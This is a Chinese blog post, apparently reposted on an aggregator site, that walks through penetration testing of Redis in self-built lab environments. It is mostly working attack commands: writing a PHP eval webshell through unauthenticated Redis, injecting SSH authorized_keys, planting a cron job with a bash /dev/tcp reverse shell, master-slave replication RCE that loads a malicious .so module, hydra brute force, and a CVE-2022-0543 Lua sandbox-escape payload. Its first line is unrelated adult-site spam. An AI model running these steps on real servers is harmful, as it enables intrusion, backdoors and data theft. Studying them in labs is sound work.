国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

redis安全攻防(專(zhuān)注滲透視角)

這篇具有很好參考價(jià)值的文章主要介紹了redis安全攻防(專(zhuān)注滲透視角)。希望對(duì)大家有所幫助。如果存在錯(cuò)誤或未考慮完全的地方,請(qǐng)大家不吝賜教,您也可以點(diǎn)擊"舉報(bào)違法"按鈕提交疑問(wèn)。


對(duì)于所有筆記中復(fù)現(xiàn)的這些終端或者服務(wù)器,都是自行搭建的環(huán)境進(jìn)行滲透的。這里使用的技術(shù)僅用于學(xué)習(xí)教育目的,如果列出的技術(shù)用于其他任何目標(biāo),我概不負(fù)責(zé)。

介紹

前言

數(shù)據(jù)庫(kù)作為業(yè)務(wù)平臺(tái)信息技術(shù)的核心和基礎(chǔ),承載著越來(lái)越多的關(guān)鍵數(shù)據(jù),漸漸成為單位公共安全中最具有戰(zhàn)略性的資產(chǎn),數(shù)據(jù)庫(kù)的安全穩(wěn)定運(yùn)行也直接決定著業(yè)務(wù)系統(tǒng)能否正常使用。并且平臺(tái)的數(shù)據(jù)庫(kù)中往往儲(chǔ)存著等極其重要和敏感的信息。這些信息一旦被篡改或者泄露,輕則造成企業(yè)經(jīng)濟(jì)損失,重則影響企業(yè)形象,甚至行業(yè)、社會(huì)安全。可見(jiàn),數(shù)據(jù)庫(kù)安全至關(guān)重要。所以對(duì)數(shù)據(jù)庫(kù)的保護(hù)是一項(xiàng)必須的,關(guān)鍵的,重要的工作任務(wù)。
通過(guò)前幾期釣魚(yú)、內(nèi)網(wǎng)攻防篇章落幕后,引來(lái)了服務(wù)攻防篇章之?dāng)?shù)據(jù)庫(kù)滲透篇,不管在外網(wǎng)還是內(nèi)網(wǎng)環(huán)境,只要存在業(yè)務(wù)系統(tǒng)都存在數(shù)據(jù)庫(kù),在滲透測(cè)試對(duì)數(shù)據(jù)庫(kù)的知識(shí)學(xué)習(xí)是必不可少的,接下來(lái)將介紹數(shù)據(jù)庫(kù)的滲透基本操作,帶小伙伴們了解和學(xué)習(xí)數(shù)據(jù)庫(kù)如何滲透的!
今天會(huì)講解到Redis環(huán)境安裝、Redis未授權(quán)訪(fǎng)問(wèn)、redis寫(xiě)webshell、redis 密鑰登錄ssh、利用計(jì)劃任務(wù)反彈shell等操作,如果連Redis都不會(huì)安裝操作提權(quán)等,怎么進(jìn)行下一步的研究Redis數(shù)據(jù)庫(kù)安全!怎么拿下對(duì)方服務(wù)器。

Redis簡(jiǎn)介

REmote DIctionary Server(Redis) 是一個(gè)由Salvatore Sanfilippo寫(xiě)的key-value存儲(chǔ)系統(tǒng)。
Redis是一個(gè)開(kāi)源的使用ANSI C語(yǔ)言編寫(xiě)、遵守BSD協(xié)議、支持網(wǎng)絡(luò)、可基于內(nèi)存亦可持久化的日志型、Key-Value數(shù)據(jù)庫(kù),并提供多種語(yǔ)言的API。它通常被稱(chēng)為數(shù)據(jù)結(jié)構(gòu)服務(wù)器,因?yàn)橹担╲alue)可以是字符串(String), 哈希(Map), 列表(list), 集合(sets) 和有序集合(sorted sets)等類(lèi)型。從2010年3月15日起,Redis的開(kāi)發(fā)工作由VMware主持。從2013年5月開(kāi)始,Redis的開(kāi)發(fā)由Pivotal贊助。
Redis 是一個(gè)開(kāi)源的高性能鍵值數(shù)據(jù)庫(kù)。最熱門(mén)的 NoSql 數(shù)據(jù)庫(kù)之一,也被人們稱(chēng)為數(shù)據(jù)結(jié)構(gòu)服務(wù)器。
它最突出的特點(diǎn)就是:

  1. 以?xún)?nèi)存作為數(shù)據(jù)存儲(chǔ)介質(zhì),讀寫(xiě)數(shù)據(jù)的效率極高。
  2. 跟 memcache 不同的是,儲(chǔ)存在 Redis 中的數(shù)據(jù)是持久化的,斷電或重啟,數(shù)據(jù)也不會(huì)丟失。
  3. 存儲(chǔ)分為內(nèi)存存儲(chǔ)、磁盤(pán)存儲(chǔ)和 log 文件。
  4. 可以從磁盤(pán)重新將數(shù)據(jù)加載到內(nèi)存中,也可以通過(guò)配置文件對(duì)其進(jìn)行配置,因此,redis 才能實(shí)現(xiàn)持久化。
  5. 支持主從模式,可以配置集群,更利于支撐大型的項(xiàng)目。

1:Redis默認(rèn)端口

Redis默認(rèn)配置端口為6379,sentinel.conf配置器端口為26379

2:官方站點(diǎn)

https://redis.io/
http://download.redis.io/releases/
4.x安裝:

wget http://download.redis.io/releases/redis-4.0.8.tar.gz
tar -zxvf redis-4.0.8.tar.gz
cd redis-4.0.8
make

最新版本前期漏洞已經(jīng)修復(fù),測(cè)試時(shí)建議安裝3.2.11版本。
以下實(shí)驗(yàn)使用3.2版本復(fù)現(xiàn)??!

Redis環(huán)境安裝

1. redis定義

Redis是一個(gè)C語(yǔ)言編寫(xiě)的基于key-value類(lèi)型的高效數(shù)據(jù)庫(kù)。
Redis可以執(zhí)行一些操作將數(shù)據(jù)保存到內(nèi)存之中(這也是為什么效率這么高的原因)。
同時(shí)redis也可以將內(nèi)存中的數(shù)據(jù)寫(xiě)入磁盤(pán)之中。

2. 未授權(quán)訪(fǎng)問(wèn)原因

主要是因?yàn)榕渲貌划?dāng),導(dǎo)致未授權(quán)訪(fǎng)問(wèn)漏洞。
進(jìn)一步將惡意數(shù)據(jù)寫(xiě)入內(nèi)存或者磁盤(pán)之中,造成更大的危害。
配置不當(dāng)一般主要是兩個(gè)原理:
(1)配置登錄策略導(dǎo)致任意機(jī)器都可以登錄redis。
(2)未設(shè)置密碼或者設(shè)置弱口令。

3. redis服務(wù)的搭建

首先卸載kali上已經(jīng)安裝的redis
apt-get remove --purge redis-server

接下來(lái)安裝舊版本的redis
wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar xzf redis-3.2.0.tar.gz
cd redis-3.2.0
make

image.png

4. 修改配置文件redis.conf

編輯redis的配置文件:
注釋掉:bind 127.0.0.1
protected-mode設(shè)為no,代表關(guān)閉安全設(shè)置
將此配置文件放到redis-server同級(jí)目錄中
啟動(dòng)redis-server:./redis-server redis.conf
image.png
image.png
image.png
image.png
安裝成功后,如圖所示。默認(rèn)的配置是使用6379端口,沒(méi)有密碼。這時(shí)候會(huì)導(dǎo)致未授權(quán)訪(fǎng)問(wèn)然后使用redis權(quán)限寫(xiě)文件。

5. 連接Redis

方式1:
image.png
方式2:
image.png

1. Redis未授權(quán)訪(fǎng)問(wèn)

Redis在大公司被大量應(yīng)用,通過(guò)筆者的研究發(fā)現(xiàn),目前在互聯(lián)網(wǎng)上已經(jīng)出現(xiàn)Redis未經(jīng)授權(quán)病毒似自動(dòng)攻擊,攻擊成功后會(huì)對(duì)內(nèi)網(wǎng)進(jìn)行掃描、控制、感染以及用來(lái)進(jìn)行挖礦、勒索等惡意行為,早期網(wǎng)上曾經(jīng)分析過(guò)一篇文章“通過(guò)redis感染linux版本勒索病毒的服務(wù)器”(http://www.sohu.com/a/143409075_765820),如果公司使用了Redis,那么應(yīng)當(dāng)給予重視,通過(guò)實(shí)際研究,當(dāng)在一定條件下,攻擊者可以獲取webshell,甚至root權(quán)限。

產(chǎn)生條件

  1. redis綁定在 0.0.0.0:6379,且沒(méi)有進(jìn)行添加防火墻規(guī)則避免其他非信任來(lái)源ip訪(fǎng)問(wèn)等相關(guān)安全策略,直接暴露在公網(wǎng);
  2. 沒(méi)有設(shè)置密碼認(rèn)證(一般為空),可以免密碼遠(yuǎn)程登錄redis服務(wù)。

漏洞危害

  1. 攻擊者無(wú)需認(rèn)證訪(fǎng)問(wèn)到內(nèi)部數(shù)據(jù),可能導(dǎo)致敏感信息泄露,黑客也可以惡意執(zhí)行flushall來(lái)清空所有數(shù)據(jù);
  2. 攻擊者可通過(guò)EVAL執(zhí)行代碼,或通過(guò)數(shù)據(jù)備份功能往磁盤(pán)寫(xiě)入后門(mén)文件;
  3. 最嚴(yán)重的情況,如果Redis以root身份運(yùn)行,黑客可以給root賬戶(hù)寫(xiě)入SSH公鑰文件,直接通過(guò)SSH登錄受害服務(wù)器

漏洞發(fā)現(xiàn)

image.png

連接Redis服務(wù)器-linux

redis-cli -h {host} -p {port} {command}

常用命令:

查看信息:info
刪除所有數(shù)據(jù)庫(kù)內(nèi)容:flushall
刷新數(shù)據(jù)庫(kù):flushdb
看所有鍵:KEYS *,使用select num可以查看鍵值數(shù)據(jù)。
設(shè)置變量:set test “who am i”
config set dir dirpath 設(shè)置路徑等配置
config get dir/dbfilename 獲取路徑及數(shù)據(jù)配置信息
save保存
get 變量,查看變量名稱(chēng)

image.png

連接Redis服務(wù)器-windows

工具地址:https://gitee.com/qishibo/AnotherRedisDesktopManager
https://blog.csdn.net/qq_39715000/article/details/120724800(RedisDesktopManager的免費(fèi)版)
image.png

不存在未授權(quán)情況

  1. bind 127.0.0.1 未注釋?zhuān)瑑H僅允許本地訪(fǎng)問(wèn),攻擊機(jī)kali無(wú)法連接。
  2. 設(shè)置了密碼(爆破redis的密碼(hydra))

2. Redis寫(xiě)webshell

利用條件:攻擊者能夠連接目標(biāo)Redis,目標(biāo)需要開(kāi)啟web服務(wù),并且攻擊者能夠得知web服務(wù)路徑

在發(fā)現(xiàn)了Redis未授權(quán)漏洞后:

切換目錄到網(wǎng)站的根目錄
config set dir /var/www/html/

寫(xiě)入惡意代碼到內(nèi)存中
set x "\n\n\n<?php phpinfo(); eval(@$_POST['cmd']); ?>\n\n\n"

在磁盤(pán)中生成木馬文件
config set dbfilename shell.php

將內(nèi)存之中的數(shù)據(jù)導(dǎo)出到磁盤(pán)文件
save

image.png
image.png
寫(xiě)入shell成功,靶機(jī)開(kāi)啟一個(gè)web服務(wù),成功通過(guò)未授權(quán)寫(xiě)入webshell并連接上后門(mén)
image.png
image.png

3. Redis密鑰登錄ssh

kali開(kāi)啟ssh服務(wù)

/etc/init.d/ssh start
netstat -pantu | grep :22

image.png

設(shè)置redis密碼(否則不能密鑰登錄)

config set requirepass lainwith
redis-cli -h 192.168.229.128 -a lainwith

image.png

生成ssh-rsa密匙:

ssh-keygen -t rsa
image.png

寫(xiě)入ssh密匙

導(dǎo)出key(\n\n是為了防止亂碼)
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt

將生成的公鑰寫(xiě)入redis服務(wù)器的內(nèi)存之中
cat key.txt | redis-cli -h 192.168.229.128 -a lainwith -x set ssh_key

登錄redis
redis-cli -h 192.168.229.128 -a lainwith

設(shè)置路徑,準(zhǔn)備導(dǎo)出文件到磁盤(pán).(本質(zhì)是更改redis的備份路徑)
注意:假如這個(gè)"/root/.ssh"不存在的話(huà),這里會(huì)顯示失敗的,就不會(huì)返回ok了
config set dir /root/.ssh

設(shè)置文件名(不能改成其他的)并導(dǎo)出
config set dbfilename authorized_keys
save

image.png
來(lái)到靶場(chǎng)瞅一眼,寫(xiě)入密鑰成功
image.png
image.png

SSH登錄

ssh -i /root/.ssh/id_rsa root@192.168.229.128

image.png

4. 利用計(jì)劃任務(wù)反彈shell

攻擊者開(kāi)啟監(jiān)聽(tīng)

image.png

寫(xiě)入反彈shell命令

set xx "\n* * * * * bash -i >& /dev/tcp/192.168.229.128/6666 0>&1\n"
//上邊的星號(hào)代表的是計(jì)劃任務(wù)的時(shí)間

config set dir /var/spool/cron/
//設(shè)置導(dǎo)出的路徑

config set dbfilename root
//設(shè)置導(dǎo)出文件名為“ root ”

save
//保存

或者:

echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.229.128/6666 0>&1\n\n"|redis-cli -h 192.168.229.128 -x set 1

redis-cli -h 192.168.253.12 config set dir /var/spool/cron/
redis-cli -h 192.168.253.12 config set dbfilename root
redis-cli -h 192.168.253.12 save

網(wǎng)傳的是上述的方法,但是很遺憾。
當(dāng)我在kali上部署 Redis ,不能反彈shell到kali。也不能反彈shell到其他機(jī)器上。
當(dāng)我在CentOS上部署Redis,反彈到kali的shell是有問(wèn)題的。
檢查發(fā)現(xiàn)參考的文章作者也碰到了這個(gè)問(wèn)題:滲透測(cè)試之地基服務(wù)篇:服務(wù)攻防之?dāng)?shù)據(jù)庫(kù)Redis(上)
image.png
在靶場(chǎng)上發(fā)現(xiàn)了寫(xiě)入的惡意文件
image.png

5. 利用主從復(fù)制RCE

未授權(quán)的redis會(huì)導(dǎo)致GetShell,可以說(shuō)已經(jīng)是眾所周知的了。
而這種方式是通過(guò)寫(xiě)文件來(lái)完成GetShell的,這種方式的主要問(wèn)題在于,redis保存的數(shù)據(jù)并不是簡(jiǎn)單的json或者是csv,所以寫(xiě)入的文件都會(huì)有大量的無(wú)用數(shù)據(jù),形似:
redis安全攻防(專(zhuān)注滲透視角)
這種主要利用了crontab、ssh key、webshell這樣的文件都有一定容錯(cuò)性,再加上crontab和ssh服務(wù)可以說(shuō)是服務(wù)器的標(biāo)準(zhǔn)的服務(wù),所以在以前,這種通過(guò)寫(xiě)入文件的getshell方式基本就可以說(shuō)是很通殺了。但隨著現(xiàn)代的服務(wù)部署方式的不斷發(fā)展,組件化成了不可逃避的大趨勢(shì),docker就是這股風(fēng)潮下的產(chǎn)物之一,而在這種部署模式下,一個(gè)單一的容器中不會(huì)有除redis以外的任何服務(wù)存在,包括ssh和crontab,再加上權(quán)限的嚴(yán)格控制,只靠寫(xiě)文件就很難再getshell了,在這種情況下,我們就需要其他的利用手段了。

漏洞存在于4.x、5.x版本中,Redis提供了主從模式,主從模式指使用一個(gè)redis作為主機(jī),其他的作為備份機(jī),主機(jī)從機(jī)數(shù)據(jù)都是一樣的,從機(jī)只負(fù)責(zé)讀,主機(jī)只負(fù)責(zé)寫(xiě)。在Reids 4.x之后,通過(guò)外部拓展,可以實(shí)現(xiàn)在redis中實(shí)現(xiàn)一個(gè)新的Redis命令,構(gòu)造惡意.so文件。在兩個(gè)Redis實(shí)例設(shè)置主從模式的時(shí)候,Redis的主機(jī)實(shí)例可以通過(guò)FULLRESYNC同步文件到從機(jī)上。然后在從機(jī)上加載惡意so文件,即可執(zhí)行命令。

簡(jiǎn)單的說(shuō),攻擊者(主機(jī))寫(xiě)一個(gè)so文件,然后通過(guò)FULLRESYNC(全局)同步文件到受害人(從機(jī))上。
比起以前的利用方式來(lái)說(shuō),這種利用方式更為通用,危害也更大。

利用條件

  • 保護(hù)模式開(kāi)啟 protected-mode 關(guān)閉 (默認(rèn)開(kāi)啟)。
  • redis允許外部訪(fǎng)問(wèn)。

環(huán)境搭建

我安裝的Redis環(huán)境是3.2,漏洞復(fù)現(xiàn)失敗,因此這里使用下載redis5.0來(lái)演示漏洞
CentOS(192.168.229.140)部署Redis5.0,kali(192.168.229.128)當(dāng)作攻擊者

wget http://download.redis.io/releases/redis-5.0.0.tar.gz
tar xzf redis-5.0.0.tar.gz
cd redis-5.0.0/
make

下載并編譯完成之后,修改配置文件,就可以啟動(dòng)Redis了

vim redis.conf
cp redis.conf ./src/redis.conf
./redis-server redis.conf

image.png
image.png

漏洞復(fù)現(xiàn):方式1

這種復(fù)現(xiàn)方式,演示靶機(jī)在關(guān)閉保護(hù)模式、允許遠(yuǎn)程連接的情況下,使用n0b0dyCN/redis-rogue-server攻擊

關(guān)于漏洞原理請(qǐng)查看Pavel Toporkov的分享(opens new window)
漏洞利用腳本: n0b0dyCN/redis-rogue-server
首先看一下腳本的一些基本信息
1.jpg
獲取一個(gè)交互式shell
image.png
嘗試反彈shell
image.png
image.png

漏洞復(fù)現(xiàn):方式2

這種復(fù)現(xiàn)方式,演示靶機(jī)在關(guān)閉保護(hù)模式、允許遠(yuǎn)程連接、Redis開(kāi)啟密碼保護(hù)的情況下,如何攻擊。
順帶著演示另一種工具。

使用利用腳本:https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server
此處設(shè)置一下Redis的連接密碼,以便捎帶著演示一下Redis爆破

hydra -P ./pass.txt redis://192.168.229.140:6379 -f

2.jpg
image.png
現(xiàn)在開(kāi)始漏洞復(fù)現(xiàn),首先看一下腳本基本信息
image.png
交互式shell如下:
image.png
反彈shell如下:
image.png

6. 本地Redis主從復(fù)制RCE反彈shell

靶場(chǎng)環(huán)境承接的是第5章的:演示靶機(jī)關(guān)閉保護(hù)模式、允許遠(yuǎn)程連接、Redis開(kāi)啟密碼保護(hù)

介紹

在“利用主從復(fù)制RCE”中,目標(biāo)機(jī)器的redis可以被遠(yuǎn)程其他的機(jī)器登錄。然后執(zhí)行腳本內(nèi)寫(xiě)死的一些命令,利用這些命令我們就可以執(zhí)行系統(tǒng)命令。問(wèn)題來(lái)了,假如目標(biāo)機(jī)器僅僅允許本地進(jìn)行登錄的時(shí)候,上述利用就直接暴斃。這個(gè)時(shí)候,我們可以通過(guò)配合其他漏洞,從目標(biāo)本地登錄redis。然后手動(dòng)執(zhí)行腳本內(nèi)寫(xiě)死的一些命令(這些命令的意思是將本機(jī)[靶機(jī)]redis作為從機(jī),將攻擊機(jī)器設(shè)置為主機(jī),然后攻擊機(jī)器會(huì)自動(dòng)將一些惡意so文件同步給目標(biāo)機(jī)器(從機(jī))),從而來(lái)實(shí)現(xiàn)對(duì)目標(biāo)機(jī)器的遠(yuǎn)程命令執(zhí)行。

攻擊者準(zhǔn)備

這里需要同時(shí)用到上面第5章節(jié)中提到的兩款工具:

  • https://github.com/n0b0dyCN/redis-rogue-server
  • https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server

將redis-rogue-server的exp.so文件復(fù)制到Awsome文件夾中使用,因?yàn)?code>exp.so帶system模塊!

  1. 在kali上開(kāi)啟redis服務(wù)器作為主服務(wù)器(開(kāi)啟15000端口),指定so文件為exp.so。
python3 redis_rogue_server.py -v -path exp.so

image.png

  1. kali開(kāi)啟端口監(jiān)聽(tīng)

Redis主從同步

受害者設(shè)置攻擊者的地址為主服務(wù)器

# 密碼登錄服務(wù)器(以安全的方式)
auth foobared

# 查看是否存在模塊(發(fā)現(xiàn)目前沒(méi)有可用模塊?。?/span>
module list

# 一般tmp目錄都有寫(xiě)權(quán)限,所以選擇這個(gè)目錄寫(xiě)入
config set dir /tmp

# 設(shè)置導(dǎo)出文件的名字
config set dbfilename exp.so

# 設(shè)置主機(jī)為kali
slaveof 192.168.229.128 15000   

image.png可看到主服務(wù)器上FULLRESYNC全局同步數(shù)據(jù)中!將惡意的exp.so同步到redis服務(wù)器上!
image.png
按時(shí)間對(duì)tmp目錄下的文件進(jìn)行排序,發(fā)現(xiàn)了exp.so
image.png

受害者執(zhí)行惡意模塊

# 加載寫(xiě)入的惡意so文件模塊
module load ./exp.so	

# 查看惡意so有沒(méi)有加載成功,主要是有沒(méi)有“system”
module list

# 取消設(shè)置主機(jī)(可做可不做)
slaveof NO ONE  

# 反彈shell
system.rev 192.168.229.128 4444

image.png
image.png

靶場(chǎng)演練

redis 未授權(quán)訪(fǎng)問(wèn)(CNVD-2015-07557)

漏洞介紹

漏洞信息:https://www.cnvd.org.cn/flaw/show/CNVD-2015-07557

Redis默認(rèn)情況下會(huì)綁定在0.0.0.0:6379,如果在沒(méi)有開(kāi)啟認(rèn)證的情況下,可以導(dǎo)致任意用戶(hù)在可以訪(fǎng)問(wèn)目標(biāo)服務(wù)器的情況下未授權(quán)訪(fǎng)問(wèn)Redis以及讀取Redis的數(shù)據(jù)。攻擊者在未授權(quán)訪(fǎng)問(wèn)Redis的情況下可以利用Redis的相關(guān)方法,可以成功將自己的公鑰寫(xiě)入目標(biāo)服務(wù)器的 /root/.ssh 文件夾的authotrized_keys文件中,進(jìn)而可以直接登錄目標(biāo)服務(wù)器。

在線(xiàn)靶場(chǎng)不能正常使用,這里使用vulfocus離線(xiàn)環(huán)境:https://github.com/fofapro/vulfocus/tree/master/images
kali部署環(huán)境,作為受害者;parrot作為攻擊者。

docker pull vulfocus/redis-cnvd_2015_07557
docker run -p 6379:6379 -d vulfocus/redis-cnvd_2015_07557

漏洞發(fā)現(xiàn)

nuclei發(fā)現(xiàn)Redis未授權(quán)漏洞,Nmap探測(cè)到Redis版本是4.0.14

nmap 192.168.229.128 -p 6379 --script redis-info

image.png
image.png

漏洞利用

image.png

redis 未授權(quán)訪(fǎng)問(wèn) (CNVD-2019-21763)

Redis存在未授權(quán)訪(fǎng)問(wèn)漏洞。攻擊者可利用該漏洞執(zhí)行任意代碼,獲取目標(biāo)服務(wù)器權(quán)限。
更多信息參考:https://www.cnvd.org.cn/flaw/show/CNVD-2019-21763

在線(xiàn)靶場(chǎng)起不來(lái),離線(xiàn)靶場(chǎng)下不了,此漏洞的利用情況同“CNVD-2015-07557”,不再演示。
image.png

Redis Lua 沙箱繞過(guò) 遠(yuǎn)程命令執(zhí)行 CVE-2022-0543

漏洞介紹

Debian以及Ubuntu發(fā)行版的源在打包Redis時(shí),在Lua沙箱中遺留了一個(gè)對(duì)象package,攻擊者可以利用這個(gè)對(duì)象提供的方法加載動(dòng)態(tài)鏈接庫(kù)liblua里的函數(shù),進(jìn)而逃逸沙箱執(zhí)行任意命令。
更多介紹:https://nox.qianxin.com/vulnerability/detail/QVD-2022-1456

靶場(chǎng)搭建

vulfocus在線(xiàn)靶場(chǎng)無(wú)法使用,鏡像地址未提供:https://github.com/fofapro/vulfocus/tree/master/images

下載vulhub同步地址:https://gitee.com/hundan-90/vulhub?_from=gitee_search

cd vulhub/redis/CVE-2022-0543/
docker-compose build	# 編譯
docker-compose up -d	# 運(yùn)行

image.png

漏洞發(fā)現(xiàn)

image.png

漏洞利用

我們借助Lua沙箱中遺留的變量packageloadlib函數(shù)來(lái)加載動(dòng)態(tài)鏈接庫(kù)/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的導(dǎo)出函數(shù)luaopen_io。在Lua中執(zhí)行這個(gè)導(dǎo)出函數(shù),即可獲得io庫(kù),再使用其執(zhí)行命令:

local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("id", "r");
local res = f:read("*a");
f:close();
return res

值得注意的是,不同環(huán)境下的liblua庫(kù)路徑不同,你需要指定一個(gè)正確的路徑。在這個(gè)Vulhub環(huán)境(Ubuntu fiocal)中,這個(gè)路徑是:/usr/lib/x86_64-linux-gnu/liblua5.1.so.0
連接redis,使用eval命令執(zhí)行上述腳本:

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

image.png

參考

滲透測(cè)試之地基服務(wù)篇:服務(wù)攻防之?dāng)?shù)據(jù)庫(kù)Redis(上)
滲透測(cè)試之地基服務(wù)篇:服務(wù)攻防之?dāng)?shù)據(jù)庫(kù)Redis(下)
跟著斗哥學(xué)Python安全開(kāi)發(fā)之redis未授權(quán)訪(fǎng)問(wèn)
Redis 小于5.0.5 主從復(fù)制遠(yuǎn)程命令執(zhí)行漏洞文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-468415.html

到了這里,關(guān)于redis安全攻防(專(zhuān)注滲透視角)的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來(lái)自互聯(lián)網(wǎng)用戶(hù)投稿,該文觀(guān)點(diǎn)僅代表作者本人,不代表本站立場(chǎng)。本站僅提供信息存儲(chǔ)空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請(qǐng)注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實(shí)不符,請(qǐng)點(diǎn)擊違法舉報(bào)進(jìn)行投訴反饋,一經(jīng)查實(shí),立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費(fèi)用

相關(guān)文章

覺(jué)得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請(qǐng)作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包